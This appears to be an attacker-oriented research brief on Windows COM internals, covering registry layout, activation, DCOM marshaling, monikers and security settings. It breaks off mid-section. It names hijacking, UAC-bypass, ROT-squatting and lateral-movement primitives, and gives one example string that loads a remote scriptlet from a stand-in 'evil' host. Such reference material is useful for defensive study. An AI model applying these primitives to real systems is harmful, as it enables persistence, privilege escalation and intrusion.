52 KiB
R1 — COM Internals Fundamentals (research brief)
1. What COM is and why it matters to an attacker
COM (Component Object Model, 1993) is Windows' binary-level component standard: a way for code in one binary (or process, or machine, or session, or integrity level) to call code in another through interfaces, without caring about compiler, language, or location. It is the substrate under OLE, ActiveX, DirectX, WMI, the shell, Office automation, WinRT, UAC, and most Microsoft management tooling. Practically every Windows process loads combase.dll/ole32.dll; thousands of COM classes are registered by default; and activation is driven entirely by the registry, which is why COM is simultaneously (a) the richest execution/persistence/escalation attack surface on Windows and (b) almost invisible to file-less-malware defenses.
Key security property that everything else follows from: the mapping from a 128-bit class GUID to executable code lives in HKCR\CLSID, and HKCR is a merged view where per-user (HKCU\Software\Classes) registrations silently override system (HKLM\Software\Classes) ones. COM trusts that mapping; attackers edit it.
Core runtime components
| Binary / service | Role |
|---|---|
combase.dll |
Modern client-side COM runtime (CoCreateInstance, activation, marshaling, security). Most legacy ole32.dll exports forward here. |
ole32.dll |
Legacy runtime (OLE1/OLE2 embedding, monikers, ROT, clipboard); forwards most Co* APIs to combase. |
oleaut32.dll |
Automation: VARIANT, BSTR, SAFEARRAY, type libraries, the universal (TypeLib-driven) marshaler, IDispatch. |
rpcss.dll |
The COM "SCM"/activator, ROT store, OXID resolver, endpoint mapper support. Runs inside the RpcSs service (svchost -k rpcss). |
svchost -k DcomLaunch |
DCOM Server Process Launcher — starts out-of-process COM servers (LocalServer32 EXEs, services, dllhost.exe surrogates). |
dllhost.exe /Processid:{AppID} |
Default surrogate process that hosts in-proc DLL classes out-of-process when an AppID has a DllSurrogate value (empty = default). |
2. The object model
2.1 Interfaces = vtables (binary contract)
A COM "interface" is nothing more than a pointer to a vtable — an array of function pointers in a fixed order, forever. C++ abstract-base-class layout is the canonical mapping:
Client holds: pItf ──► [ vptr ] ──► vtable[0] = QueryInterface
vtable[1] = AddRef
vtable[2] = Release
vtable[3] = <first interface-specific method>
Rules that make COM a binary standard: method order never changes; an interface is immutable once published (identified by an IID); all methods return HRESULT; the first 3 slots are always IUnknown.
IUnknown — IID {00000000-0000-0000-C000-000000000046}:
struct IUnknown {
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void **ppvObject) = 0;
virtual ULONG STDMETHODCALLTYPE AddRef(void) = 0;
virtual ULONG STDMETHODCALLTYPE Release(void) = 0; // object self-destructs at refcount 0
};
QueryInterfaceis the only discovery mechanism: ask an object "do you implement IID X?" — rules: reflexive, symmetric, transitive;QI(IID_IUnknown)must always return the same pointer (object identity).- Multiple interfaces on one object = multiple vptrs (C++ multiple inheritance with adjusting thunks).
IUnknownappears once per base vtable, but identity is preserved via the primaryIUnknown.
HRESULT is a 32-bit structured code: bit31 = severity (1 = failure), bits 16–26 = facility (1=RPC, 2=Dispatch, 3=Storage, 4=ITF/interface-specific, 7=Win32), bits 0–15 = code. Relevant constants: S_OK=0, S_FALSE=1, E_NOINTERFACE=0x80004002, E_POINTER=0x80004003, E_ACCESSDENIED=0x80070005, REGDB_E_CLASSNOTREG=0x80040154, MK_E_SYNTAX, CO_E_ELEVATION_DISABLED, CO_E_MISSING_DISPLAYNAME, CO_E_RUNAS_VALUE_MUST_BE_AAA (elevation errors), RPC_E_CHANGED_MODE (apartment conflict).
2.2 IDispatch — late binding for script (the automation engine)
IID {00020400-0000-0000-C000-000000000046} — vtable slots 3–6:
HRESULT GetTypeInfoCount(UINT *pctinfo);
HRESULT GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo);
HRESULT GetIDsOfNames(REFIID riid, LPOLESTR *rgszNames, UINT cNames, LCID lcid, DISPID *rgDispId);
/* [local] */ HRESULT Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags,
DISPPARAMS *pDispParams, VARIANT *pVarResult,
EXCEPINFO *pExcepInfo, UINT *puArgErr);
/* wire: [call_as(Invoke)] RemoteInvoke(..., UINT cVarRef, UINT *rgVarRefIdx, VARIANTARG *rgVarRef) */
- Callers pass names (
GetIDsOfNames→ numericDISPID) thenInvoke(DISPID, args-as-VARIANT-array). This is whatNew-Object -ComObject, VBScriptCreateObject, JScript, VBA andIDispatch-only clients use. - A dual interface exposes both a custom vtable and
IDispatch— markeddualin IDL, described by a type library. wFlags:DISPATCH_METHOD=0x1,DISPATCH_PROPERTYGET=0x2,DISPATCH_PROPERTYPUT=0x4,DISPATCH_PROPERTYPUTREF=0x8.DISPPARAMS = { VARIANTARG *rgvarg; DISPID *rgdispidNamed; UINT cArgs; UINT cNamedArgs; }— arguments are passed in reverse order.- Attack relevance: any class registered with
Programmable+ a dual interface is scriptable code execution plumbing (WScript.Shell{72C24DD5-D70A-438B-8A42-98424B88AFB8},Shell.Application{13709620-C279-11CE-A49E-444553540000},MMC20.Application{49B2791A-B1AE-4C90-9B8E-E860BA07F889}, Office*.Application,InternetExplorer.Application{0002DF01-0000-0000-C000-000000000046},Scripting.FileSystemObject{0D43FE01-F093-11CF-8940-00A0C9054228},Schedule.Service{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}).
2.3 Class factories
Every creatable class exposes a class object implementing IClassFactory — IID {00000001-0000-0000-C000-000000000046}:
HRESULT CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppvObject); // pUnkOuter ≠ NULL only for aggregation
HRESULT LockServer(BOOL fLock); // pin server in memory
(IClassFactory2 {B196B28F-BAB4-101A-B69C-00AA00341D07} adds licensing: GetLicInfo, RequestLicKey, CreateInstanceLic.)
Aggregation vs containment: CoCreateInstance(..., pUnkOuter, ...) passes a controlling outer IUnknown; inner object delegates its IUnknown to the outer (identity fusion) while keeping private inner vtables. Aggregation bugs (identity confusion, blind-AddRef/Release) are a classic LPE bug class ("trapped objects").
3. Identity: GUIDs and friends
Everything in COM is named by a GUID: 16 bytes, string form {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} (Data1 u32, Data2/Data3 u16, Data4 u8[8]; generated by CoCreateGuid/UuidCreate, version-4 random). String↔binary: CLSIDFromString/IIDFromString/StringFromGUID2, StringFromCLSID.
| Name | Identifies | Registry home |
|---|---|---|
| CLSID | a class (implementation) | HKCR\CLSID\{CLSID} |
| IID | an interface (vtable contract) | HKCR\Interface\{IID} |
| AppID | deployment/security group of classes | HKCR\AppID\{AppID} |
| ProgID | human-readable class alias, Vendor.Component[.Version], ≤39 chars |
HKCR\<ProgID> |
| LIBID | a type library + version (major.minor) | HKCR\TypeLib\{LIBID}\<ver> |
| CATID | component category (e.g. "Insertable control") | HKCR\Component Categories\{CATID} |
Conversions: CLSIDFromProgID (reads HKCR\<ProgID>\CLSID), ProgIDFromCLSID (reads HKCR\CLSID\{CLSID}\ProgID), VersionIndependentProgID + CurVer chain. Uniqueness is by convention only — nothing validates collisions → ProgID squatting is trivial.
4. Registry layout (the COM "database")
4.1 The merged view — the single most important security fact
HKEY_CLASSES_ROOT is not a real hive; it is a merged view of:
HKLM\SOFTWARE\Classes(system-wide; admin/TrustedInstaller to write)HKCU\SOFTWARE\Classes(per-user; writable by the unprivileged user)
Per-user keys win in the merged view. Writes to HKCR from a standard user are silently redirected to HKCU\Software\Classes. This applies to CLSID, AppID, Interface, TypeLib, ProgIDs and file associations → the entire CLSID→code resolution can be shadowed per-user with no privileges. This is the root primitive of COM hijacking (persistence/UAC-bypass chapters).
64-bit vs 32-bit: HKCR\WOW6432Node\CLSID (and WOW6432Node\AppID, WOW6432Node\Interface, WOW6432Node\TypeLib) hold 32-bit registrations; 32-bit processes writing HKLM\SOFTWARE\Classes\CLSID are redirected there. COM bitness must match the client unless an out-of-proc server or PreferredServerBitness (AppID value, 1=32-bit, 2=64-bit) is used; CLSCTX_ACTIVATE_32_BIT_SERVER=0x40000 / CLSCTX_ACTIVATE_64_BIT_SERVER=0x80000 force it.
4.2 HKCR\CLSID\{CLSID} — anatomy
HKCR\CLSID\{XXXXXXXX-...}
(Default) = "Friendly class name"
AppID = "{AppID-GUID}" (value; links to security config)
LocalizedString = "@C:\path\to.dll,-101" (value; MUI name for UAC consent)
\InprocServer32
(Default) = "C:\...\server.dll"
ThreadingModel = "" | "Apartment" | "Free" | "Both" | "Neutral"
\LocalServer32
(Default) = "C:\...\server.exe" (may include args)
ServerExecutable = "C:\...\server.exe" (optional)
\InprocHandler32 = handler DLL (handler marshaling)
\ProgID = "Vendor.Component.1"
\VersionIndependentProgID = "Vendor.Component"
\TypeLib = "{LIBID}"
\TreatAs = "{OtherCLSID}" (full emulation redirect — checked FIRST)
\AutoTreatAs = "{OtherCLSID}" (auto version-update redirect)
\Control / \Insertable / \Programmable (marker subkeys)
\Implemented Categories\{CATID}
\DefaultIcon, \ToolboxBitmap32, \MiscStatus, \Version, \Verb
\Elevation
Enabled = 1 (DWORD; class is LUA/auto-elevation capable)
IconReference = "@path,-resid"
ThreadingModel semantics: (absent) = legacy single-threaded → object must live in the first (main) STA of the process; Apartment = any STA; Free = MTA only; Both = same apartment as client (STA or MTA); Neutral = thread-neutral apartment (COM+). Wrong model ⇒ COM spins up a different apartment and marshals (cross-apartment call via proxy).
4.3 HKCR\AppID\{AppID} — security configuration
Named values (binary ACLs are self-relative SECURITY_DESCRIPTORs, editable in dcomcnfg.exe → Component Services → DCOM Config):
| Value | Meaning |
|---|---|
(Default) |
Friendly name |
LaunchPermission |
Binary ACL: who may activate (checked by RPCSS at launch) |
AccessPermission |
Binary ACL: who may call (checked in server process at first access / by CoInitializeSecurity default) |
AuthenticationLevel |
DWORD override of RPC_C_AUTHN_LEVEL_* |
RunAs |
"Interactive User" or a user name → server runs as that identity (absent = launching user); cross-session activation when set to Interactive User |
LocalService + ServiceParameters |
Run as a Windows service (SCM start) |
DllSurrogate |
Custom surrogate path; empty string = default dllhost.exe |
RemoteServerName |
Default remote host (legacy) |
ActivateAtStorage |
DWORD 1 = activate where persistent data lives |
ROTFlags |
DWORD 1 = allow any client ROT visibility |
AppIDFlags |
e.g. APPIDREGFLAGS_AAA_NO_IMPERSONATE=0x8 |
PreferredServerBitness |
1 = 32-bit, 2 = 64-bit |
LoadUserSettings |
load user hive in server |
Endpoints |
restrict RPC protocol sequences (multi_sz) |
\Elevation\Enabled=1 |
(under CLSID, see 4.2) auto-elevate capable |
Also HKCR\AppID\<program.exe> (named after the EXE) with value AppID={guid} maps an EXE to its AppID. AppIDs are also where elevation marking and DCOM reachability come from: a class with no AppID cannot be launched remotely and cannot elevate.
4.4 HKCR\Interface\{IID} — marshaling glue
HKCR\Interface\{IID}
(Default) = "IMyInterface"
\ProxyStubClsid32 = "{CLSID of the proxy/stub DLL}" <- loaded into BOTH client & server processes
\ProxyStubClsid = 16-bit legacy
\NumMethods = "7"
\BaseInterface = "{IID of parent}"
\TypeLib = "{LIBID}" (+ \Version)
ProxyStubClsid32 = {00020424-0000-0000-C000-000000000046}(PSOAInterface, the oleaut32 "universal marshaler") ⇒ interface is marshaled TypeLib-driven (requires[oleautomation]-compatible types).PSDispatch = {00020420-0000-0000-C000-000000000046}does the same for pureIDispatch.- Otherwise the CLSID points at a MIDL-generated proxy/stub DLL (which itself has a
HKCR\CLSIDentry withInprocServer32). - Attack note: this key is the marshaling trust anchor — a per-user
ProxyStubClsid32shadow injects a DLL into every process that marshals that interface, including privileged COM servers.
4.5 HKCR\TypeLib\{LIBID} — type libraries
HKCR\TypeLib\{LIBID}
\<major.minor> (Default) = "MyLib 1.0 Type Library"
\0\win32 (Default) = "C:\...\lib.tlb" (0 = LCID-neutral)
\0\win64 (Default) = 64-bit tlb
\9\win32 (Default) = LCID 9 (en-US) localized tlb
\FLAGS = "0" (LIBFLAG: 1=RESTRICTED, 2=CONTROL, 4=HIDDEN, 8=HASDISKIMAGE)
\HELPDIR = path
APIs: LoadTypeLib(path) / LoadTypeLibEx, LoadRegTypeLib(LIBID, wVerMajor, wVerMinor, lcid), RegisterTypeLib/UnRegisterTypeLib, QueryPathOfRegTypeLib. Type libraries are binary (magic MSFT = 0x5446534D) or embedded in PEs as TYPELIB resources; stdole2.tlb/stdole32.tlb are the system ones. LoadTypeLib quirk (Outflank research): if the path is not a standalone/embedded TLB, the string is parsed as a moniker display name → "script:http://evil/x.sct" reaches the script moniker → code execution from a "data" API. This underpins both TypeLib hijacking (persistence chapter) and VS poisoning attacks.
4.6 Machine-wide OLE policy — HKLM\SOFTWARE\Microsoft\Ole
| Value | Meaning |
|---|---|
EnableDCOM ("Y"/"N") |
Master remote-activation switch |
EnableRemoteConnect ("Y"/"N") |
Remote access (non-activation) switch |
DefaultLaunchPermission / DefaultAccessPermission |
Binary ACLs used when an AppID omits its own |
MachineLaunchRestriction / MachineAccessRestriction |
Hard ceiling ACLs applied to every activation/access |
LegacyAuthenticationLevel (DWORD) |
Process default when app doesn't call CoInitializeSecurity (2=CONNECT; raised to PKT_INTEGRITY=5 by hardening) |
LegacyImpersonationLevel (DWORD) |
Default client impersonation level (commonly 2=Identify; many vendor hardening scripts set 3=Impersonate) |
AppCompat\RequireIntegrityActivationAuthenticationLevel (DWORD) |
CVE-2021-26414 kill-switch: 1 = DCOM servers reject activation below RPC_C_AUTHN_LEVEL_PKT_INTEGRITY |
AppCompat\RaiseActivationAuthenticationLevel (DWORD) |
2 = clients auto-raise non-anonymous activation to PKT_INTEGRITY (Nov 2022) |
4.7 Registration-free COM (SxS)
Classes can be registered in an activation-context manifest instead of the registry: <file><comClass clsid="..." threadingModel="..." tlbid="..." progid="..."/></file>, <comInterfaceExternalProxyStub iid="..." proxyStubClsid32="...">, <typelib tlbid="...">. Driven by CreateActCtx/ActivateActCtx; Windows itself ships manifests under %WinDir%\WinSxS\Manifests (.NET/isolated COM). Lookup order during activation: active activation context → process manifest → application manifest → registry. Attack relevance: reg-free entries are invisible to naive HKCR hunting and are a stealthy hijack/persistence path (an attacker-controlled manifest for a hijacked CLSID needs no registry write at all).
5. Activation internals (step by step)
5.1 Client-side APIs (exact signatures)
HRESULT CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
// dwCoInit: COINIT_MULTITHREADED=0x0 | COINIT_APARTMENTTHREADED=0x2
// | COINIT_DISABLE_OLE1DDE=0x4 | COINIT_SPEED_OVER_MEMORY=0x8
HRESULT CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
HRESULT CoGetClassObject(REFCLSID rclsid, DWORD dwClsContext, LPVOID pvReserved, REFIID riid, LPVOID *ppv);
HRESULT CoCreateInstanceEx(REFCLSID rclsid, IUnknown *punkOuter, DWORD dwClsCtx,
COSERVERINFO *pServerInfo, DWORD dwCount, MULTI_QI *pResults);
// COSERVERINFO { DWORD dwReserved1; LPWSTR pwszName; COAUTHINFO *pAuthInfo; DWORD dwReserved2; }
// MULTI_QI { const IID *pIID; IUnknown *pItf; HRESULT hr; }
HRESULT CoGetObject(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv);
HRESULT CLSIDFromProgID(LPCOLESTR lpszProgID, LPCLSID lpclsid);
CoCreateInstance literally expands to: CoGetClassObject(clsid, ctx, NULL, IID_IClassFactory, &pCF); pCF->CreateInstance(pUnkOuter, riid, ppv); pCF->Release();
CLSCTX (wtypes.h): INPROC_SERVER=0x1, INPROC_HANDLER=0x2, LOCAL_SERVER=0x4, INPROC_SERVER16=0x8, REMOTE_SERVER=0x10, INPROC_HANDLER16=0x20, NO_CODE_DOWNLOAD=0x400, NO_CUSTOM_MARSHAL=0x1000, ENABLE_CODE_DOWNLOAD=0x2000, NO_FAILURE_LOG=0x4000, DISABLE_AAA=0x8000, ENABLE_AAA=0x10000, FROM_DEFAULT_CONTEXT=0x20000, ACTIVATE_32_BIT_SERVER=0x40000, ACTIVATE_64_BIT_SERVER=0x80000, ENABLE_CLOAKING=0x100000, APPCONTAINER=0x400000, ACTIVATE_AAA_AS_IU=0x800000, PS_DLL=0x80000000; composites ALL=0x17, SERVER=0x15.
5.2 In-process activation (CLSCTX_INPROC_SERVER)
- combase resolves
HKCR\CLSID\{clsid}:TreatAs/AutoTreatAsfirst (recursive redirect), then the SxS activation context, thenInprocServer32(bitness-aware view). LoadLibraryW(server.dll)(subject to DLL search order + KnownDLLs + Safer/AppLocker).GetProcAddress("DllGetClassObject")→ callDllGetClassObject(rclsid, riid, &pv)— every COM DLL exportsDllGetClassObject,DllCanUnloadNow, optionallyDllRegisterServer/DllUnregisterServer(invoked byregsvr32.exe).- Server returns its class factory;
IClassFactory::CreateInstancenews the object and QIs the requested IID. - Unload path:
CoFreeUnusedLibrariesperiodically callsDllCanUnloadNow→S_OK⇒FreeLibrary.
Attack surface at each step: TreatAs redirect (no DLL load of the real class), phantom InprocServer32 path (plant DLL), search-order planting, unsigned DLL load into arbitrary (incl. elevated/PPL-adjacent) processes, refcount/UAF bugs in unload.
5.3 Local out-of-process activation (CLSCTX_LOCAL_SERVER)
- combase sees no (or excluded) in-proc server → asks the activator over ALPC/LRPC: in modern Windows this is the
ISystemActivator/IRemoteSCMActivatorinterface, GUID{000001A0-0000-0000-C000-000000000046}, implemented byrpcss.dll(and mirrored in-process in combase for the local fast path). - RPCSS validates:
HKLM\...\Ole!MachineLaunchRestriction→ AppIDLaunchPermission(orDefaultLaunchPermission) → identity selection:- default launching user (server started with caller's token),
RunAs= specific user (prompted/stored credentials) orInteractive User(server in the currently-logged-on session — cross-session primitive),LocalService= start service via SCM.
- RPCSS (via DcomLaunch) starts the process:
LocalServer32command line with the-Embeddingswitch, ordllhost.exe /Processid:{AppID}for surrogates, or the service. - The server process:
CoInitializeEx→ creates its class factories →CoRegisterClassObject(clsid, pCF, CLSCTX_LOCAL_SERVER, REGCLS_*, &dwCookie)— registration lands in RPCSS's class table. Flags:REGCLS_SINGLEUSE=0(one activation then dead),MULTIPLEUSE=1,MULTI_SEPARATE=2,SUSPENDED=4(register all, thenCoResumeClassObjects()atomically),SURROGATE=8. - RPCSS marshals the class-factory reference (
OBJREF) back to the client. - Client unmarshals → proxy for
IClassFactory→CreateInstancecall goes over ORPC → server returns the requested interface pointer, again as anOBJREF; client builds the interface proxy/stub chain (fromHKCR\Interface\{IID}\ProxyStubClsid32). - Lifetime: client holds refs; server stays alive until last external ref +
LockServercount drop → server callsCoRevokeClassObjectand exits.
5.4 Remote activation (DCOM)
Client passes COSERVERINFO{pwszName="HOST"} (or RemoteServerName, or an ActivateAtStorage/moniker path): local RPCSS forwards to remote host TCP 135 → IRemoteSCMActivator opnums:
RemoteGetClassObject(3),RemoteGetInstanceFromFile(4),RemoteGetInstanceFromStorage(5),RemoteCreateInstance(6).
Parameters are marshaled activation-property blobs (IActivationPropertiesIn/Out containing IInstantiationInfo{CLSID, CLSCTX, IID array}, ISecurityInfo{authn/authz levels}, IActivationPropertiesOut → PropsOutInfo { DWORD cifs; IID *piid; HRESULT *phr; MInterfacePointer **ppIntfData; }), where MInterfacePointer = { ULONG ulCntData; byte abData[]; } is a little-endian OBJREF. After activation, method calls flow over dynamic RPC ports negotiated via IOXIDResolver. Windows Firewall exception group: "COM+ Network Access"/DCOM TCP135 + dynamic range.
The CoCreateInstanceEx DCOM path is what lateral movement rides on: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, Visio, Outlook, the Control Panel abuse (Securelist), etc.
5.5 Moniker-based activation
CoGetObject(name, bindopts, iid, ppv) = MkParseDisplayName + BindToObject. Display-name parsing: prefix before the first : is resolved as a ProgID → class implementing IParseDisplayName ({0000001A-0000-0000-C000-000000000046}) builds the moniker (e.g. clsid:, new:, session:, Elevation:, script:, queue:, soap:); otherwise a file path builds a FileMoniker; ! composes monikers into a CompositeMoniker {00000309-0000-0000-C000-000000000046} (right-to-left bind; the left part becomes pmkToLeft).
6. Marshaling and the DCOM wire
6.1 Proxy/stub architecture
When caller and object are in different apartments/processes/machines, COM splits the call:
- Proxy (client side,
IRpcProxyBuffer) packs arguments (NDR) → channel (IRpcChannelBufferover RPC runtime) → - Stub (server side,
IRpcStubBuffer::Invoke) unpacks, calls the real method, packs the return. - Factory:
IPSFactoryBuffer(GetProxyIID,CreateProxy,CreateStub), registered viaHKCR\Interface\{IID}\ProxyStubClsid32.
Three marshaling flavors, recorded in the OBJREF flags:
- Standard (0x1): MIDL-generated PS DLL, or the universal marshaler (
PSOAInterface {00020424-...}) which marshals any[oleautomation]interface by reading its TypeLib at runtime. - Handler (0x2): light client-side handler DLL (
InprocHandler32) + standard reference. - Custom (0x4): object implements
IMarshal({00000003-0000-0000-C000-000000000046}:GetUnmarshalClass,GetMarshalSizeMax,MarshalInterface,UnmarshalInterface,ReleaseMarshalData,DisconnectObject). OBJREF_CUSTOM carries{CLSID of unmarshal class, cbExtension, size, pData[]}— an attacker-controlled blob deserialized byIMarshal::UnmarshalInterfaceof an arbitrary registered class. This is the Forged-OLEData/relay bug class (cf. POTATO-styleCoGetInstanceFromIStorageOBJREF forgery, andEOAC_NO_CUSTOM_MARSHAL/CLSCTX_NO_CUSTOM_MARSHALmitigations).
- Client-side convenience APIs:
CoMarshalInterface,CoUnmarshalInterface,CoMarshalInterThreadInterfaceInStream+CoGetInterfaceAndReleaseStream,CoCreateFreeThreadedMarshaler(FTM CLSID{00000333-0000-0000-C000-000000000046}— a custom marshaler whose blob is just the raw pointer; neutralizes apartment checks; a classic source of "marshaled" objects being callable from any thread), and the Global Interface Table (service-wide cookie↔pointer store:IGlobalInterfaceTable{00000146-0000-0000-C000-000000000046}onCLSID_StdGlobalInterfaceTable {00000323-0000-0000-C000-000000000046};RegisterInterfaceInGlobal/GetInterfaceFromGlobal/RevokeInterfaceFromGlobal).
6.2 OBJREF — the marshaled interface pointer (on the wire: MEOW)
typedef struct tagOBJREF {
unsigned long signature; // 0x574F454D == 'MEOW' (little-endian)
unsigned long flags; // OBJREF_STANDARD=0x1 | HANDLER=0x2 | CUSTOM=0x4 | EXTENDED=0x8
GUID iid; // IID being marshaled
union {
struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard;
struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler;
struct { CLSID clsid; unsigned long cbExtension, size; byte *pData; } u_custom;
struct { STDOBJREF std; unsigned long Signature1; DUALSTRINGARRAY saResAddr;
unsigned long nElms; unsigned long Signature2; DATAELEMENT ElmArray; } u_extended;
} u_objref;
} OBJREF;
typedef unsigned __int64 OXID; // object exporter (per apartment+protocol, machine-unique)
typedef unsigned __int64 OID; // object identity (per exporter)
typedef GUID IPID; // interface pointer (per object)
typedef struct tagSTDOBJREF {
unsigned long flags; // SORF_* (SORF_NOPING=0x1000)
unsigned long cPublicRefs; // refcounts transferred with this marshaling
OXID oxid; OID oid; IPID ipid;
} STDOBJREF;
typedef struct tagSTRINGBINDING { unsigned short wTowerId; /* 0x07=ncacn_ip_tcp, 0x1F=ncacn_http */
unsigned short aNetworkAddr; } STRINGBINDING; // zero-terminated
typedef struct tagSECURITYBINDING { unsigned short wAuthnSvc; /* 0x0A=NTLM(WinNT), 0x09=Kerberos, 0xFFFF=none */
unsigned short wAuthzSvc; unsigned short aPrincName; } SECURITYBINDING;
typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; unsigned short wSecurityOffset;
unsigned short aStringArray[]; } DUALSTRINGARRAY;
MEOW is trivially greppable in packet captures and memory — the universal indicator of a marshaled COM reference (useful for both offense, e.g. carving OBJREFs, and detection rules).
6.3 ORPC call flow, OXID resolution, liveness
- Client unmarshals OBJREF → needs the exporter's RPC bindings: calls
IOXIDResolver(a.k.a.IObjectExporter, UUID{99FCFEC4-5260-101B-BBCB-00AA0021347A}, on the exporter machine via RPCSS/135) →ResolveOxid2(oxid, cRequestedProtseqs, arRequestedProtseqs[], &dsa, &ipidRemUnknown, &authnHint, &comVersion)returns the string bindings (dynamic TCP port). - Calls are normal MS-RPCE with an ORPC extension (
ORPCTHIS/ORPCTHAT: causality GUID, extensions) to the resolved endpoint, dispatched by IPID → stub manager → interface stub → apartment → method. Standard IPIDs:IRemUnknown{00000131-0000-0000-C000-000000000046}(RemQueryInterface,RemAddRef,RemRelease) andIRemUnknown2{00000143-...}handle remote QI/refcounting. - Pinging/liveness:
IOXIDResolver::SimplePing(pingId),ComplexPing(set semantics) keep OIDs alive; missed pings ⇒ server garbage-collects stubs; clientRelease→RemReleasedecrementscPublicRefs.
7. Apartments and threading (condensed but exact)
- Thread joins COM via
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED=0x2)→ STA (one per thread; COM creates a hidden window — classOleMainThreadWndClass— whose WndProc dispatches cross-apartment calls) orCOINIT_MULTITHREADED=0x0→ MTA (one per process). A thread that never initializes is in the implicit MTA once the process has COM.RPC_E_CHANGED_MODEon re-init conflicts. - STA owners must pump messages (
GetMessage/DispatchMessage); otherwise cross-apartment calls to its objects hang (and the reverse-channel reentrancy during an outgoing call is a classic deadlock/exploit-reliability issue). MTA objects are called on arbitrary RPC thread-pool threads → must self-synchronize. - Cross-apartment interface passing must be marshaled (
CoMarshalInterThreadInterfaceInStream, GIT) — except objects aggregating the FTM, orNeutral(TNA) components. - Server-side dispatch: incoming ORPC calls to an STA are posted as window messages; to an MTA, executed directly on RPC threads.
8. Monikers and the Running Object Table (detail)
IMoniker ({0000000F-0000-0000-C000-000000000046}) methods: BindToObject, BindToStorage, Reduce, ComposeWith, Enum, IsEqual, Hash, IsRunning, GetTimeOfLastChange, Inverse, CommonPrefixWith, RelativePathTo, GetDisplayName, ParseDisplayName, IsSystemMoniker. Bind context IBindCtx ({0000000E-...}) carries BIND_OPTS{cbStruct, grfFlags, grfMode, dwTickCountDeadline}, BIND_OPTS2 adds {dwTrackFlags, dwClassContext, locale, pServerInfo}, BIND_OPTS3 adds hwnd (consent-UI parent — used with elevation monikers).
System moniker catalog (CLSID / display prefix / server):
| Moniker | CLSID | Prefix | Notes |
|---|---|---|---|
| File | {00000303-0000-0000-C000-000000000046} |
path | binds via class of extension |
| Item | {00000304-...} |
!item |
composite right part |
| Anti | {00000305-...} |
— | inverse/cancel |
| Pointer | {00000306-...} |
— | wraps live pointer |
| Composite | {00000309-...} |
A!B |
left-to-right composition |
| Class | {0000031A-...} |
clsid:{...} |
thin wrapper over CoGetClassObject/CreateInstance |
| New | {ECABAFC6-7F19-11D2-978E-0000F8757E2A} |
new:{clsid} or new:ProgID |
instantiate via moniker (Office-blacklisted) |
| Session | (CLSID unverified — confirm in OleViewDotNet; syntax documented) | session:N!new:{clsid} |
activates in another logon session (cross-session LPE primitive; cf. Forshaw research / CVE-2017-0100 class) |
| Elevation | (implemented in combase; CLSID unverified) | Elevation:Administrator!new:{clsid} / Elevation:Highest!new: |
UAC bridge |
| Script | {06290BD3-48AA-11D2-8432-006008C3FBFC} |
script:URL / scriptlet:URL |
scrobj.dll; downloads & runs Windows Script Component; ProgIDs script,scriptlet |
| Scriptlet Factory | {06290BD2-...} (Scriptlet.Factory) |
— | IPersistMoniker-bindable scriptlet constructor |
| Queue | {ECABAFC7-7F19-11D2-978E-0000F8757E2A} |
queue: |
MSMQ queued components |
| SOAP | {ECABB0C7-7F19-11D2-978E-0000F8757E2A} |
soap:wsdl=... |
CVE-2017-8759 (.NET WSDL RCE) |
ROT (IRunningObjectTable {00000010-0000-0000-C000-000000000046}, obtained via GetRunningObjectTable): per-session, hosted in RPCSS; Register(grfFlags, punk, pmkName, &dwCookie) with ROTFLAGS_REGISTRATIONKEEPSALIVE=0x1, ROTFLAGS_ALLOWANYCLIENT=0x2; GetObject, IsRunning, EnumRunning, NoteChangeTime, Revoke. GetActiveObject(clsid) consults the ROT. Abuse primitives: ROT squatting (register attacker object under a well-known display name before the legit server), ROT snooping/harvesting (enumerate other apps' objects — Office documents expose full object models), ROTFLAGS_ALLOWANYCLIENT + AppID ROTFlags for cross-integrity exposure.
9. COM security model fundamentals
9.1 CoInitializeSecurity — process-wide baseline (callable once, or first proxy call auto-invokes with registry defaults)
HRESULT CoInitializeSecurity(
PSECURITY_DESCRIPTOR pSecDesc, // access SD (or AppID GUID with EOAC_APPID, or IAccessControl*)
LONG cAuthSvc, // -1 = default list
SOLE_AUTHENTICATION_SERVICE *asAuthSvc,
void *pReserved1,
DWORD dwAuthnLevel, // RPC_C_AUTHN_LEVEL_*
DWORD dwImpLevel, // RPC_C_IMP_LEVEL_*
void *pAuthList, // SOLE_AUTHENTICATION_LIST
DWORD dwCapabilities,// EOAC_*
void *pReserved3);
RPC_C_AUTHN_LEVEL: DEFAULT=0, NONE=1, CONNECT=2, CALL=3, PKT=4, PKT_INTEGRITY=5, PKT_PRIVACY=6.
RPC_C_IMP_LEVEL: DEFAULT=0, ANONYMOUS=1, IDENTIFY=2, IMPERSONATE=3, DELEGATE=4.
EOAC_*: MUTUAL_AUTH=0x1, SECURE_REFS=0x2, ACCESS_CONTROL=0x4, APPID=0x8, DYNAMIC=0x10, STATIC_CLOAKING=0x20, DYNAMIC_CLOAKING=0x40, ANY_AUTHORITY=0x80, MAKE_FULLSIC=0x100, REQUIRE_FULLSIC=0x200, AUTO_IMPERSONATE=0x400, DEFAULT=0x800, DISABLE_AAA=0x1000, NO_CUSTOM_MARSHAL=0x2000.
9.2 Where checks happen (defense-in-depth chain)
- Launch (RPCSS):
MachineLaunchRestriction→ AppIDLaunchPermission(elseDefaultLaunchPermission). Failure:E_ACCESSDENIEDat activation (Event ID 10015/10016 family — the classic "DistributedCOM 10016" log noise). - Access (first call into server): server's
CoInitializeSecuritySD, else AppIDAccessPermission, elseDefaultAccessPermission, gated byMachineAccessRestriction. - Authentication level negotiation (client vs server vs machine legacy defaults; hardening floor at PKT_INTEGRITY for activation post-CVE-2021-26414).
- Impersonation server-side:
